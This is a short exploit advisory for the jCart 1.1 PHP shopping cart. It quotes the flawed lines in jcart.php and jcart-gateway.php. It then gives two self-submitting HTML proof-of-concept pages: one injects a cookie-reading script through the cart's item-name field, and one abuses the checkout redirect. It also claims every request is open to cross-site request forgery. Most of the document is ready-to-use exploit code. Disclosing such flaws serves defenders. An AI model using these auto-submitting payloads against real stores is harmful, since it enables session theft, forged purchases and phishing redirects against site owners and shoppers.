jCart version 1.1 suffers from cross site request forgery, cross site scripting and open redirect vulnerabilities.
37d8fb41ceb0f28568a4e8cc0862efe009e1edaa1362ee88731eee816d27916e<!--
Exploit Title: jCart v1.1 Multiple XSS/CSRF/Open Redirect Vulnerabilities
Date: 25.07.2010
Author: p0deje
Software Link: http://conceptlogic.com/jcart/
Version: <=1.1
Tested on: OS Independent
CVE : --
-->
<!-- 1. Cross-site Scripting -->
<!--
Vulnerable code snippet:
jcart.php
-------------------------
line 251: $item_name = $_POST[$item_name];
...
line 256: $item_added = $this->add_item($item_id, $item_qty, $item_price, $item_name);
-------------------------
User-supplied input for variable $item_name isn't properly escaped.
Proof-of-Concept:
-->
<html>
<form action="http://evil.host/jcart-1.1/jcart/jcart-relay.php" method="POST">
<input name="my-item-id" value="3" type="hidden">
<input name="my-item-qty" value="1" type="hidden">
<input name="my-item-name" value="<script>alert(document.cookie)</script>" type="hidden">
<input name="my-item-price" value="33.25" type="hidden">
<input id="payload" name="my-add-button" value="add to cart" class="button" type="submit">
</form>
<script>
document.getElementById('payload').click()
</script>
</html>
<!-- 2. Cross-site Scripting / Open Redirect -->
<!--
Vulnerable code snippet
jcart-gateway.php:
-------------------------
line 41: header('Location: ' . $_POST['jcart_checkout_page']);
-------------------------
User-supplied data is not properly escaped before passing to header() function.
Proof-of-Concept:
-->
<html>
<form action="http://evil.host/jcart-1.1/jcart/jcart-gateway.php" method="POST">
<input name="jcart_checkout_page" value="http://www.google.com" type="hidden">
<input id="payload" name="my-add-button" value="add to cart" class="button" type="submit">
</form>
<script>
document.getElementById('payload').click()
</script>
</html>
<!-- 3. Cross-site Request Forgery -->
<!--
All requests of jCart are vulnerable to CSRF.
Proof-of-Concept goes the same as for the first or the second vulnerability.
-->
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